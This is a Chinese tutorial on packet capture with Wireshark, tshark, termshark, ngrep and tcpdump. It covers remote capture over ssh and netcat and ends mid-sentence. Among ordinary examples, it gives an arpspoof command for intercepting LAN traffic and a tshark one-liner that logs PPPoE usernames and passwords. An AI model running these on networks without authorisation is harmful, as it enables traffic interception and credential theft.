wireshark 可以实现本地抓包,同时 Wireshark 也支持 remote packet capture protocol(rpcapd)协议远程抓包,只要在远程主机上安装相应的 rpcapd 服务例程就可以实现在本地电脑执行wireshark 捕获远程电脑的流量了。

方法 1:服务器安装 rpcapd

rpcapd 已经不更新,可以使用 nc (netcat) 转发 tcpdump 流量实现远程抓包。

方法 2:tcpdump、重定向 (ssh、nc、netcat 等)

在进行远程网络抓包分析时,通常的做法是,首先使用如下命令在远程主机上抓包,保存为 pcap 格式的文件:

tcpdump -i eth0 -w temp.pcap

# 当然你也可以在抓包阶段就加一些过滤条件,降低抓到的数据量与工作负载
# 具体的命令行过滤条件在后面的第三节有讲,这里仅简单举例
# 嗅探 eth0 接口, src/dst ip 地址为 x.x.x.x/a.a.a.a 的所有 tcp 数据包
tcpdump -i eth0 -w temp.pcap ‘tcp and (host x.x.x.x or host a.a.a.a)’

然后再将 pcap 文件拷贝到本地,使用 wireshark 对其进行分析。但是这样做没有时效性,而且数据拷贝来去也比较麻烦。考虑使用流的方式,在远程主机上使用 tcpdump 抓包,本地使用 wireshark 进行实时分析。使用 ssh 协议进行流式传输的示例如下:

# eth0 更换成你的机器 interface 名称,虚拟机可能是 ens33
ssh root@some.host “tcpdump -i eth0 -l -w -” | wireshark -k -i –

# 添加一些 tcpdump 过滤条件进行精确过滤,这也能避免数据量过大
ssh root@some.host “tcpdump -i eth0 -l -w – ‘tcp and (host x.x.x.x or host a.a.a.a)'” | wireshark -k -i –

抓包命令:sudo ssh username@host -p 22 ‘tcpdump -i eth0 -s 0 -l -w -‘ | wireshark -k -i –

在不方便使用 ssh 协议的情况下(比如容器抓包、Android 抓包),可以考虑使用 nc(netcat) 进行数据流的转发:

1. 远程主机抓包:将数据流通过 11111 端口暴露出去

        示例:tcpdump -i wlan0 -s0 -w – | nc -l -p 11111

2. 本地主机从远程主机的 11111 端口读取数据,提供给 wireshark 使用

        示例:nc <remote-host> 11111 | wireshark -k -S -i –

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

注意:这里只能抓取远程主机上的流量,如果想要抓取远程主机所在局域网的流量,需要在远程主机设置 arp 欺骗。

#在攻击主机上执行
root# arpspoof -i eth0 -t 192.168.1.1 192.168.1.229

如果是抓取 Android 手机的数据,方便起见,可以通过 adb 多进行一次数据转发:

# 方案一:root 手机后,将 arm 版的 tcpdump 拷贝到手机内进行抓包
# 1. 在 adb shell 里使用 tcpdump 抓 WiFi 的数据包,转发到 11111 端口
## 需要先获取到 root 权限,将 tcpdump 拷贝到 /system/bin/ 目录下
tcpdump -i wlan0 -s0 -w – | nc -l -p 11111

# 2. 在本机使用 adb forward 将手机的 11111 端口绑定到本机(PC)的 11111 端口
adb forward tcp:11111 tcp:11111

# 3. 直接从本机(PC)的 11111 端口读取数据,提供给 wireshark
nc localhost 11111 | wireshark -k -S -i –
## 通过数据转发,本机 11111 端口的数据,就是安卓手机内 tcmpdump 的 stdout 内容。

# 方案二:
# 如果手机不方便 root,推荐 PC 开启 WiFi 热点,手机连上这个热点访问网络。
# 这样手机的数据就一定会走 PC,直接在 PC 上通过 wireshark 抓包就行。
# 如果你只需要简单地抓 http/https 包,请使用 fiddler/mitmproxy

如果需要对 Kubernetes 集群中的容器进行抓包, 推荐直接使用 ksniff 。

方法 3:Sshdump 重定向

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

安装完成后,打开 Wireshark 就可以在开始界面看到 ssh remote capture 选项了

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

配置ssh的连接参数,包括ssh服务器地址,端口,用户名,密码(也可以用证书)等等。配置完成后,点击开始按钮,即可享受如同本地抓包的感觉

本地 linux 远程抓包 linux

远程 linux 安装 wireshark:yum install wireshark* -y

在本地 linux 创建管道文件: mkfifo /tmp/sharkfile

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

ssh user@remote-host “dumpcap -P -w – -f ‘not tcp port 22′” > /tmp/sharkfile

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

同理本地 linux 也可以使用 sshdump 和 rpcap 的方式进行抓包。

tshark、termshark

一文读懂网络报文分析神器 Tshark:https://cloud.tencent.com/developer/article/

  • tshark 是 Wireshark 的配套子命令,在CLI场景下能胜任 Wireshark 绝大部分功能,对于需要批量处理、筛选过滤、导出、统计分析、定制化输出等能力。当然,tshark 同时具备抓包和分析包的能力,简单理解为 tshark 是 wireshark 的 CLI 版本,但 Linux 端抓包基本上业界都会使用 tcpdump,并且它基本能覆盖抓包的所有场景。
  • termshark 是一个命令行UI 抓包工具,使用 tshark 来处理和解析网络数据包。
    github:https://github.com/gcla/termshark

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

示例:termshark -i eth0 icmp    使用 termshark 抓包
示例:termshark -r test.pcap    用 termshark 分析 pcap 文件:

安装 tshark

命令:sudo apt install tshark

tshark –help
用法: tshark [options] …

执行 echo 1 > /proc/sys/net/core/bpf_jit_enable 可以启用 BPF JIT编译器(如果可用),可以使Dumpcap 收益。但是,这会使系统不那么安全。

捕获的接口:

捕获过滤器:https://wiki.wireshark.org/CaptureFilters
显示过滤器,用于display过滤的字段可以通过( https://wiki.wireshark.org/DisplayFilters )查询。
如果不过滤 -e 指定的字段数据都会输出,通过-R过滤之后,只有满足规则的才会输出,会因此-R和-T、-e通常会一起使用。

  -i –interface <interface>  指定捕获接口,默认是第一个非本地循环接口;
  -f <capture filter>    抓包过滤表达式,用单引号包围,

                                 在抓包的过程中过滤,分析本地文件则用不到。
  -s –snapshot-length <snaplen>  
        设置快照长度,用来读取完整的数据包。
        因为网络中传输有65535的限制,值0代表快照长度65535,默认也是这个值;
  -p, –no-promiscuous-mode    以非混合模式工作,即只关心和本机有关的流量。
  -I, –monitor-mode           capture in monitor mode, if available
  -B –buffer-size <buffer size>    设置缓冲区的大小,只对windows生效,默认是2M;
  -y <link type>, –linktype <link type>    
                   设置抓包的数据链路层协议,
                   不设置则默认为-L找到的第一个协议,局域网一般是EN10MB等;                         
  –time-stamp-type <type> timestamp method for interface
  -D, –list-interfaces    打印接口的列表并退出;
  -L, –list-data-link-types    列出本机支持的数据链路层协议,供-y参数使用。
  –list-time-stamp-types  print list of timestamp types for iface and exit

捕获停止条件:

  -c <packet count>        捕获n个包之后结束,默认捕获无限个;
  -a <autostop cond.> …, –autostop <autostop cond.> …  在num秒之后停止捕获;
        duration:NUM – 在num 秒之后停止捕获;
        filesize:NUM – 在num KB之后停止捕获;
        files:NUM    – 在捕获num个文件之后停止捕获;
        packets:NUM –  在捕获num个包之后停止捕获;

捕获输出:

  -b <ringbuffer opt.> …, –ring-buffer <ringbuffer opt.>
        duration:NUM – 在 NUM 秒之后切换到下一个文件;
        filesize:NUM – 在 NUM KB之后切换到下一个文件;
        files:NUM – 在NUM文件达到之后,替换原来的,形成环形缓冲,
        packets:NUM – 在 NUM 个包到达后,切换到下一个文件
        interval:NUM – 间隔 num 秒,就切换到下一个文件        

输入的文件:

  -r <infile>, –read-file <infile>  设置读取本地文件,或者 – 表示从stdin读取

处理选项:

  -2                       执行两次分析
  -M <packet count>        执行会话自动重置
  -R <read filter>, –read-filter <read filter>
            捕获 过滤器,可以在wireshark的filter语法上查看;
            在wireshark的视图->过滤器视图,在这一栏点击表达式,
            就会列出来对所有协议的支持。
  -Y <display filter>, –display-filter <display filter>
            显示 过滤器
  -N <name resolve flags>  启用某一层的地址名字解析: “mnNtdv”
        “m”代表MAC层,“n”代表网络层,“t”代表传输层,“C”代表当前异步DNS查找。
        如果-n和-N参数同时存在,-n将被忽略。如果-n和-N参数都不写,则默认打开所有地址名字解析。
  -d <layer_type>==<selector>,<decode_as_protocol> …
            将指定的数据按有关协议解包输出,如要将tcp 8888端口的流量按http解包,
            应该写为“-d tcp.port==8888,http”;tshark -d. 可以列出所有支持的有效选择器。
  -H <hosts file>          read a list of entries from a hosts file, which will
                           then be written to a capture file. (Implies -W n)
  –enable-protocol <proto_name>
                           enable dissection of proto_name
  –disable-protocol <proto_name>
                           disable dissection of proto_name
  –enable-heuristic <short_name>
                           enable dissection of heuristic protocol
  –disable-heuristic <short_name>
                           disable dissection of heuristic protocol

输出:

  -w <outfile|->           把包写入到名为outfile的pcapng-format格式的文件,
                           ‘-‘表示写入到stdout
  –capture-comment <comment>
                           set the capture file comment, if supported
  -C <config profile>      start with specified configuration profile
  -F <output file type>    设置输出的文件格式,默认是.pcapng,
                           使用 -F 不加其他参数时,可列出所有支持的输出文件类型。
  -V                       显示包的详细信息
  -O <protocols>           只显示此选项指定的协议的详细信息。 用逗号分隔
  -P, –print              即使将解码结果写入文件中,也打印包的概要信息;
  -S <separator>           两个包之间的行分隔符
  -x                       显示包的 16进制和 ASCII
  -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?
        置解码结果输出的格式,包括text,ps,psml和pdml,默认为text
  -j <protocolfilter>      protocols layers filter if -T ek|pdml|json selected
                           (e.g. “ip ip.flags text”, filter does not expand child
                           nodes, unless child is specified also in the filter)
  -J <protocolfilter>      top level protocol filter if -T ek|pdml|json selected
                           (e.g. “http tcp”, filter which expands all child nodes)
  -e <field>               如果-T fields选项指定,-e用来指定输出哪些字段;
                           this option can be repeated to print multiple fields
  -E<fieldsoption>=<value> 如果-T fields选项指定,使用-E来设置一些属性。比如
     bom=y|n               print a UTF-8 BOM
     header=y|n            switch headers on and off
     separator=/t|/s|<char> select tab, space, printable character as separator
     occurrence=f|l|a      print first, last or all occurrences of each field
     aggregator=,|/s|<char> select comma, space, printable character as
                           aggregator
     quote=d|s|n           select double, single, no quotes for values
  -t a|ad|adoy|d|dd|e|r|u|ud|udoy
        设置解码结果的时间格式。“ad”表示带日期的绝对时间,
        “a”表示不带日期的绝对时间,“r”表示从第一个包到现在的相对时间,
        “d”表示两个相邻包之间的增量时间(delta)。
  -u s|hms                 s|hms 格式化输出秒;
  -l                       在输出每个包之后flush标准输出
  -q                       当使用统计分析 -z 时,静默输出到 stdout
  -Q                       only log true errors to stderr (quieter than -q)
  -g                       enable group read access on the output file(s)
  -W n                     Save extra information in the file, if supported.
                           n = write network address resolution information
  -X <key>:<value>         扩展项,lua_script、read_format,具体参见 man pages;
  -U tap_name              PDUs export mode, see the man page for details
  -z <statistics>      统计选项,具体的参考文档;tshark -z help,可以列出,-z选项支持的统计方式。

  –export-objects <protocol>,<destdir>
                           save exported objects for a protocol to a directory
                           named “destdir”
  –color                  color output text similarly to the Wireshark GUI,
                           requires a terminal with 24-bit color support
                           Also supplies color attributes to pdml and psml formats
                           (Note that attributes are nonstandard)
  –no-duplicate-keys      If -T json is specified, merge duplicate keys in an object
                           into a single key with as value a json array containing all
                           values
  –elastic-mapping-filter <protocols> If -G elastic-mapping is specified, put only the
                           specified protocols within the mapping file

杂项

  -h, –help               显示命令行帮助;
  -v, –version            显示tshark 的版本信息;
  -o <name>:<value> …    覆盖原来的设置
  -K <keytab>              用于kerberos解密的Keytab文件
  -G [report]              转储几个可用报告中的一个并退出
                           default report=”fields”
                           use “-G help” for more help

示例:打印 http 协议流相关信息 tshark -s 512 -i eth0 -n -f ‘tcp dst port 80’ -R ‘http.host and http.request.uri’ -T fields -e http.host -e http.request.uri -l | tr -d ‘\t’
注释:
-s        只抓取前512字节;
-i        捕获eth0网卡;
-n        禁止把IP地址、端口等被反向解析为主机名、端口名
-f        只捕获协议为tcp,目的端口为80;
-R        过滤出http.host和http.request.uri;
-T,-e        指的是打印这两个字段;
-I        输出到命令行界面; 

实时打印当前mysql查询语句:tshark -s 512 -i eth0 -n -f ‘tcp dst port 3306’ -R ‘mysql.query’ -T fields -e mysql.query
注释:-R: 过滤出mysql的查询语句;

导出 smpp 协议 header 和 value 的例子
tshark -r test.cap -R ‘(smpp.command_id==0x) and (smpp.command_status==0x0)’ -e smpp.message_id -e frame.time -T fields -E header=y >test.txt
注释:
-r: 读取本地文件,可以先抓包存下来之后再进行分析;
-R: smpp…可以在wireshark的过滤表达式里面找到,后面会详细介绍;
-E: 当-T字段指定时,设置输出选项,header=y意思是头部要打印;
-e: 当-T字段指定时,设置输出哪些字段;
 >: 重定向;

统计http状态
tshark -n -q -z http,stat, -z http,tree
注释:
-q: 只在结束捕获时输出数据,针对于统计类的命令非常有用;
-z: 各类统计选项,具体的参考文档,后面会介绍,可以使用tshark -z help命令来查看所有支持的字段;
 http,stat: 计算HTTP统计信息,显示的值是HTTP状态代码和HTTP请求方法。
 http,tree: 计算HTTP包分布。 显示的值是HTTP请求模式和HTTP状态代码。

抓取500个包提取访问的网址打印出来
tshark -s 0 -i eth0 -n -f ‘tcp dst port 80’ -R ‘http.host and http.request.uri’ -T fields -e http.host -e http.request.uri -l -c 500
注释: 
-f: 抓包前过滤;
-R: 抓包后过滤;
-l: 在打印结果之前清空缓存;
-c: 在抓500个包之后结束;

显示ssl data数据
tshark -n -t a -R ssl -T fields -e “ip.src” -e “ssl.app_data”

读取指定报文,按照ssl过滤显示内容
tshark -r temp.cap -R “ssl” -V -T text
注释: 
-T text: 格式化输出,默认就是text;
-V: 增加包的输出;//-q 过滤tcp流13,获取data内容
tshark -r temp.cap -z “follow,tcp,ascii,13”

按照指定格式显示-e
tshark -r temp.cap -R ssl -Tfields -e “ip.src” -e tcp.srcport -e ip.dst -e tcp.dstport

输出数据
tshark -r vmx.cap -q -n -t ad -z follow,tcp,ascii,10.1.8.130:56087,10.195.4.41:446 | more
注释:
-t ad: 输出格式化时间戳;

过滤包的时间和rtp.seq
tshark  -i eth0 -f “udp port 5004”  -T fields -e frame.time_epoch -e rtp.seq -o rtp.heuristic_rtp:true 1>test.txt
注释:
-o: 覆盖属性文件设置的一些值;

提取各协议数据部分
tshark -r H:/httpsession.pcap -q -n -t ad -z follow,tcp,ascii,71.6.167.142:27017,101.201.42.120:59381 | more

C:\Users\sdut>tshark -r H:\httpsession.pcap -T fields -e frame.number -e frame.protocols -E header=y
  –输出  
  frame.number    frame.protocols
  1       eth:ethertype:ip:tcp
  2       eth:ethertype:ip:tcp
  3       eth:ethertype:ip:tcp
  4       eth:ethertype:ip:tcp:http
  5       eth:ethertype:ip:tcp
  6       eth:ethertype:ip:tcp:http:data-text-lines
  7       eth:ethertype:ip:tcp
  8       eth:ethertype:ip:tcp
  9       eth:ethertype:ip:tcp
  -e frame.number:显示帧序号
  -e frame.time: 显示时间,时间格式为 Sep 21, 2016 17:20:02. 中国标准时间 
  -e frame.protocols: 显示此数据包使用的协议
  -e ip.src: 显示源ip,但是不能跟frame一起用
  -e ip.dst: 显示目的ip地址;
  -e tcp.port: 显示端口号。
  ……还有很多,针对需求,一方面可以自己通过wireshark软件显示的头部字段来猜测,另一方面可以查阅文档,https://www.wireshark.org/docs/dfref/,这里面列出了所有支持的-e字段写法,可以在里面搜索ip、frame上面我们使用的这几个就会搜到。
 
//2.示例2
  C:\Users\sdut>tshark -2 -r H:\httpsession.pcap -R “http.request.line || http.file_data || http.response.line” -T fields -e http.request.line -e http.file_data -e http.response.line -E header=y
  输出:该例子输出http协议的请求头,响应头,和响应数据;
  http.request.line  http.file_data  http.response.line
  ……          ……      ……
  具体的这个-R过滤写法,可以查看文档,根据自己的需求来。https://wiki.wireshark.org/DisplayFilters
 
//3.示例3
  使用windows版本的tshark,抓包存储到本地。每个包只读取1024字节。
  tshark -w E:/1015.pcap -s 1024 -i 本地连接 -q -F pcap

1  抓取HTTP
tshark -i en0 -Y http.request -T fields -e http.host -e http.user_agent
2 抓取DNS解析
tshark -i en0 -f “src port 53” -n -T fields -e dns.qry.name 
3 抓取pppoe认证的帐号和密码
tshark -i eth0 -Y “pap.password” -l -T fields -e pap.peer_id -e pap.password | tee -a pap.log
4 抓取PPPOE,帐号,获取分配的IP地址
tshark -i “nic2”  -f “pppoes”   -Y “pap or chap.code == 0x02  or chap.code == 0x03 or ipcp[0] == 0x03 ”  -T fields  -e frame.time -e eth.src -e eth.dst -e ipcp.opt.ip_address -e chap.name -e chap.message  -e pap.peer_id  -e pap.message
5 抓取DNS
tshark -i ppp0 -T fields -e frame.time -e ip.src -e ip.dst -e dns.qry.name -R ‘udp.dstport==53||dns’

安装 termshark

tshark 的终端用户界面,灵感来自 Wireshark。

  • 在可以用 tshark 的地方,都可以用 termshark 读取 pcap 文件或嗅探实时接口
  • 使用 Wireshark 的显示过滤器过滤 pcap 或实时捕获
  • 用 Golang 编写,在每个平台上编译为单个可执行文件 – 可用于 Linux、macOS、BSD 变体、Android (termux) 和 Windows 的下载

下载:https://github.com/gcla/termshark

解压:tar -xf termshark_2.4.0_linux_x64.tar.gz

配置可执行命令:cd termshark_2.4.0_linux_x64/termshark  /usr/local/bin

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

执行:sudo termshark

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

可以直接鼠标进行操作

2、Ngrep

ngrep命令 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包理解bpf的过滤机制

基本语法:ngrep [参数] [匹配规则] [BPF规则]

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

-d       使用哪个网卡,可以用 -L 选项查询。-d any来捕捉所有的包:

-L       查询网卡接口

-q       静默模式,只打印匹配的包。不匹配的包不打印

-e       显示空数据包
-i        忽略大小写
-v       反转匹配
-R       don’t do privilege revocation logic
-x       以16进制格式显示
-X       以16进制格式匹配
-w       整字匹配
-p       不使用混杂模式
-l       make stdout line buffered
-D       replay pcap_dumps with their recorded time intervals
-t       在每个匹配的包之前显示时间戳
-T       显示上一个匹配的数据包之间的时间间隔
-M       仅进行单行匹配
-I       从文件中读取数据进行匹配
-O       将匹配的数据保存到文件
-n       仅捕获指定数目的数据包进行查看
-A       匹配到数据包后dump随后的指定数目的数据包
-s       set the bpf caplen
-S       set the limitlen on matched packets
-W      -W byline用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。
-c       强制显示列的宽度
-P       set the non-printable display char to what is specified
-F       使用文件中定义的bpf(Berkeley Packet Filter)
-N       显示由 IANA 定义的子协议号

示例:

sudo ngrep host www.baidu.com &           // 可以识别 bpf 的过滤机制
curl https://www.baidu.com

ngrep -W byline -d lo port 18080
ngrep ‘[a-zA-Z]’ -t -W byline -d any tcp port 18080
ngrep -d3 -N -q \.flv

ngrep host 192.168.1.8 udp    抓udp包
ngrep -W byline -qd any ‘.event’ udp port 1514:抓取1514端口udp包,过滤正则匹配包含‘event’字段的包
ngrep -W byline ‘GET /’ ‘tcp and dst port 80’ -d eth1 | awk -v RS=”#+” -v FS=”\n” ‘length() > 1000’:查询大于1k的请求头
ngrep -d en0 -W byline host 192.168.1.9:抓取本地 en0 和 61.135.169.125(百度ip)的通信信息,并以行打印出来

3、tcpdump 

github:https://github.com/the-tcpdump-group/tcpdump
tcpdump 官网:https://www.tcpdump.org/
嗅探:https://github.com/search?q=sniff&type=repositories
tcpdump 总结,各大使用场景、高级用法:https://cloud.tencent.com/developer/article/
IP 报文格式大全:https://support.huawei.com/enterprise/zh/doc/EDOC/fc60e39

全网最详细的 tcpdump 使用指南:https://www.cnblogs.com/wongbingming/p/13212306.html

超详细的网络抓包神器 Tcpdump 使用指南:https://cloud.tencent.com/developer/article/

Android tcpdump 下载:https://www.androidtcpdump.com/android-tcpdump/downloads
tcpdump for Android 移动端抓包:嗅探工具 — wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain
tcpdump -i wlan0 -p -s 0 -w 抓包结果.pcap   

简单来定义 tcpdump 就是:dump the traffic on a network,即对网络上的数据包进行截获和分析的工具。它支持针对网络层、协议、主机、网络或端口的过滤,并提供 and、or、not 等逻辑语句来过滤想要的包。tcpdump 是源代码的,凭借强大的功能和灵活的截取策略,使其成为类UNIX系统下用于网络分析和问题排查的首选工具。对于网络维护和入侵者都是非常有用的工具。

tcpdump 需要将网络界面设置为混杂模式,普通用户不能正常执行,但具备 root 权限的用户可以直接执行它来获取网络上的信息。因此系统中存在网络分析工具主要不是对本机安全的威胁,而是对网络上的其他计算机的安全存在威胁。

可以使用 tcpdump 把捕获的数据包先写入到一个文件当中,然后用 WireShark 等有图形界面的嗅探器读取和分析。​

tcpdump 是运行在命令行下的抓包工具。不带参数的 tcpdump 会收集网络中所有的信息包头,数据量巨大,所以,可以定义过滤规则,捕获符合过滤条件的包。tcpdump 对截获的数据并没有进行彻底解码,数据包内的大部分内容是使用十六进制的形式直接打印输出的。显然这不利于分析网络故障。通常的解决办法:先使用带 -w 参数的 tcpdump 截获数据并保存到文件中,然后再使用其他程序( 保存为.pcap后缀的文件,可以使用 wireshark )进行解码分析。

网络上的流量、数据包,非常的多,因此要想抓到所需要的数据包,就需要定义一个精准的过滤器,把这些目标数据包,从巨大的数据包网络中抓取出来。所以学习抓包工具,其实就是学习如何定义过滤器的过程。

tcpdump 帮助

在线 man 手册:https://www.tcpdump.org/manpages/tcpdump.1.html

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

man tcpdump 或者 tcpdump –help 查看更多参数

tcpdump –help
用法:tcpdump [-AbdDefhHIJKlLnNOpqStuUvxX#] [ -B size ] [ -c count ] [–count]
        [ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ]
        [ -i interface ] [ –immediate-mode ] [ -j tstamptype ]
        [ -M secret ] [ –number ] [ –print ] [ -Q in|out|inout ]
        [ -r file ] [ -s snaplen ] [ -T type ] [ –version ]
        [ -V file ] [ -w file ] [ -W filecount ] [ -y datalinktype ]
        [ –time-stamp-precision precision ] [ –micro ] [ –nano ]
        [ -z postrotate-command ] [ -Z user ] [ expression ]

-#    或者 –number 。 在行的开头打印一个可选的包号。
-O    不运行报文匹配(packet-matching)代码优化程序。 
-P    不将网络接口设置成混杂模式。 
-Q direction    选择捕获的数据包的 发送/接收 方向。可能的值是“in、out”和“inout”。不是在所有平台上都能使用。

常用参数:

  • -A   以 ASCII 字符方式打印所有抓到的数据内容,在抓取纯文本数据时很好用
  • -b    在BGP包中打印AS号的数字,而不是简单的表示法。
  • -B buffer_size    设置操作系统捕获缓冲区的大小,以KiB(1024字节)为单位
  • -c count       捕获指定数量的数据包。示例: -c 10 表示捕获10个包之后 tcpdump 就停止。
  • -C file_size      在将一个原始分组写入文件之前,检查文件当前的大小是否超过了参数file_size 中指定的大小。如果超过了指定大小,则关闭当前文件,然后在打开一个新的文件。参数 file_size 的单位是兆字节(是1,000,000字节,而不是1,048,576字节)。
  • -d    将匹配信息包的代码以人们能够理解的汇编格式给出。 
    -dd   将匹配信息包的代码以c语言程序段的格式给出。 
    -ddd  将匹配信息包的代码以十进制的形式给出。 
  • -D : 显示所有可用网络接口的列表
  • -e    打印数据链路层的头部信息。 包括源mac和目的mac,以及网络层的协议;
  • -E    用spi@ipaddr algo:secret解密那些以addr作为地址,并且包含了安全参数索引值spi的IPsec ESP分组。 
  • -f    将外部的Internet地址以数字的形式打印出来。 
  • -F file    从指定的文件中读取表达式,忽略命令行中给出的表达式。 
  • -G rotate_seconds
  • -h    或者 –help  
  • -i    捕获指定网络接口的数据包,`all` 表示所有接口
  • -K    不尝试验证IP、TCP或UDP校验和。这非常有用对于在硬件中执行部分或全部校验和计算的接口;否则,所有传出的TCP校验和都将被标记为坏的。
  • -l    使标准输出变为缓冲行形式,可以把数据导出到文件。  E.g: tcpdump -l | tee dat 或者 tcpdump -l > dat & tail -f dat
  • -L    列出网络接口的已知数据链路。 即 列出数据链路类型。
  • -m module    从文件module中导入SMI MIB模块定义。该参数可以被使用多次,以导入多个MIB模块。 
  • -M secret    如果tcp报文中存在TCP-MD5选项,则需要用secret作为共享的验证码用于验证TCP-MD5选选项摘要(详情可参考RFC 2385)。 
  • -r     从指定的文件中读取包 (这些包一般通过-w选项产生)。
  • -s snaplen     //snaplen表示从一个包中截取的字节数。即 读取数据包的长度。 0表示包不截断,抓完整的数据包。默认的话 tcpdump 只显示部分数据包,默认68字节。
  • -S    打印绝对的,而不是相对的TCP序列号
  • -T type    将监听到的包直接解释为指定的类型的报文,常见的类型有rpc远程过程调用)和snmp(简单网络管理协议;)。 
  • -w:将捕捉到的数据写到文件中。
  • -n:不把 ip 转化成域名,直接显示 ip,避免执行 DNS lookups 的过程,速度会快很多
    -nn:不把协议和端口号转化成名字,速度也会快很多。
  • -N: 不输出主机名中的域名部分。例如,‘nic.ddn.mil‘只输出’nic‘。 
  • -tttt    增加抓包时间戳,抓包结果中将包含抓包日期
  • -l  参数就是将 tcpdump 的输出变为“行缓冲”方式,这样可以确保 tcpdump 遇到的内容一旦是换行符,就将缓冲的内容输出到标准输出,以便于利用管道或重定向方式来进行后续处理。Linux / UNIX 的标准 I/O 提供了 全缓冲、行缓冲和无缓冲 三种缓冲方式。标准错误是不带缓冲的,终端设备常为行缓冲,而其他情况默认都是全缓冲的。例如:我们只想提取包的每一行的第一个域(时间域),这种情况下我们就需要  -l  将默认的全缓冲变为行缓冲了。tcpdump -i eth0 port 1111 -l | awk ‘{print $1}’
  • -q    静默输出。只输出较少的协议信息。 
  • -Q: 选择是入方向还是出方向的数据包,可选项有:in, out, inout,也可以使用 –direction=[direction] 这种写法
  • -s : tcpdump 默认只会截取前 96 字节的内容,要想截取所有的报文内容,可以使用 -s number, number 就是你要截取的报文字节数,如果是 0 的话,表示截取报文全部内容。示例:  -s0 捕获完整的数据包

  • -t:在每行的输出中不输出时间
    -tt:在每行的输出中会输出时间戳
    -ttt:输出本行和前面一行之间的时间差(以毫秒为单位)。
    -tttt:在每行打印的时间戳之前添加日期的打印(输出的时间最直观)
    -ttttt:以微秒形式打印时间戳。
  • -u    输出未解码的NFS句柄。 
  • -v:输出一个稍微详细的信息。比如包的TTL,id标识,数据包长度,以及IP包的一些选项。
    -vv:产生比-v更详细的输出。
    -vvv:产生比 -vv 更详细的输出。
  • -x:以16进制的形式打印每个包的头部数据(但不包括数据链路层的头部)
    -xx:以16进制的形式打印每个包的头部数据(包括数据链路层的头部)
  • -X:以16进制和 ASCII码形式打印出每个包的数据(但不包括连接层的头部),在进行协议分析时是绝对的利器。
    -XX:以16进制和 ASCII码形式打印出每个包的数据(包括连接层的头部),

tcpdump 常用 4 种类型的 关键字(帮助文档还有很多关键字):类型、方向、协议、逻辑运算

  • (1)、表示 type(类型) 关键字,主要有 host、net、port、portrange 等。默认是 host 类型
            host:指定主机的IP地址。示例:host 210.27.48.2, 指明 210.27.48.2是一台主机。
            net:指定网络地址。示例:net 202.0.0.0指明202.0.0.0是一个网络地址。
            port:指定端口。 示例:port 23 指明端口号是23。
            portrange端口范围。示例:portrange 6000-6008  表示端口范围 6000-6008   
  • (2)、表示 dir(传输方向) 关键字,主要有 src、dst、dst or src、dst and src
            如果没有指明,默认是 src or dst
            src:源IP地址
            dst:目的IP地址
            示例:src 210.27.48.2   指明ip包中源地址是 210.27.48.2
            示例:dst net 202.0.0.0 指明目的网络地址是 202.0.0.0。
            示例:src foo               源主机是foo
            示例:dst net 192.168         目的网络是 192.168
            示例:src or dst port 1234  源端口或者目的端口都是 1234
  • (3)、表示 proto(协议) 关键字,可选的协议有: ether, fddi, tr, wlan, ip, ip6, arp, rarp(反向地址解析协议), decnet, tcp, upd 等。没有指定时,表示所有协议
  • (4)、逻辑运算否定优先级最高, 和  优先级相同,结合顺序是从左到右
              :and&&
              :or||
              : not!
    对于复杂的过滤器表达式,为了逻辑清晰,可以使用 (),不过默认情况下,tcpdump 会将 () 当做特殊字符,所以必须使用 转义符或者单引号 来消除歧义 ( 因为括号是 shell 的特殊字符,所以在 shell脚本 或 终端 中使用时必须对括号进行转义 )。

抓取经过 interface eth0 发送到 host 200.200.200.1 或 200.200.200.2 的 TCP 协议 22 号端口的数据包
tcpdump -i eth0 -nntvv -c 10 ‘((tcp) and (port 22) and ((dst host 200.200.200.1) or (dst host 200.200.200.2)))’
PS:

抓取经过 interface eth0, DST_MAC 或 SRC_MAC 地址是 00:16:3e:12:16:e7 的 ICMP 数据包

tcpdump -i eth0 ‘((icmp) and ((ether host 00:16:3e:12:16:e7)))’ -nnvv

抓取经过 interface eth0,目标网络是 172.18 但目标主机又不是 172.18.82.173 的 TCP 且非 22 号端口号的数据包

tcpdump -i eth0 -nntvv ‘((dst net 172.18) and (not dst host 172.18.82.173) and (tcp) and (not port 22))’

抓取流入 interface eth0,host 为 172.18.82.173 且协议为 ICMP 的数据包

tcpdump -i eth0 -nntvv -P in host 172.18.82.173 and icmp

抓取流出 interface eth0,host 为 172.18.82.173 且协议为 ICMP 的数据包

tcpdump -i eth0 -nntvv -P out host 172.18.82.173 and icmp

除了这三种类型的关键字之外,其他重要的关键字如下:

  • gateway
  • broadcast
  • less
  • greater
  • 等等等

而在单个过滤器里,常常会判断一条件是否成立,这时候,就要使用下面两个符号

  • =:判断二者相等
  • ==:判断二者相等
  • !=:判断二者不相等

当你使用这两个符号时,tcpdump 还提供了一些关键字的接口来方便我们进行判断,比如

  • if:表示网卡接口名、
  • proc:表示进程名
  • pid:表示进程 id
  • svc:表示 service class
  • dir:表示方向,in 和 out
  • eproc:表示 effective process name
  • epid:表示 effective process ID

比如我现在要过滤来自进程名为 nc 发出的流经 en0 网卡的数据包,或者不流经 en0 的入方向数据包,可以这样子写

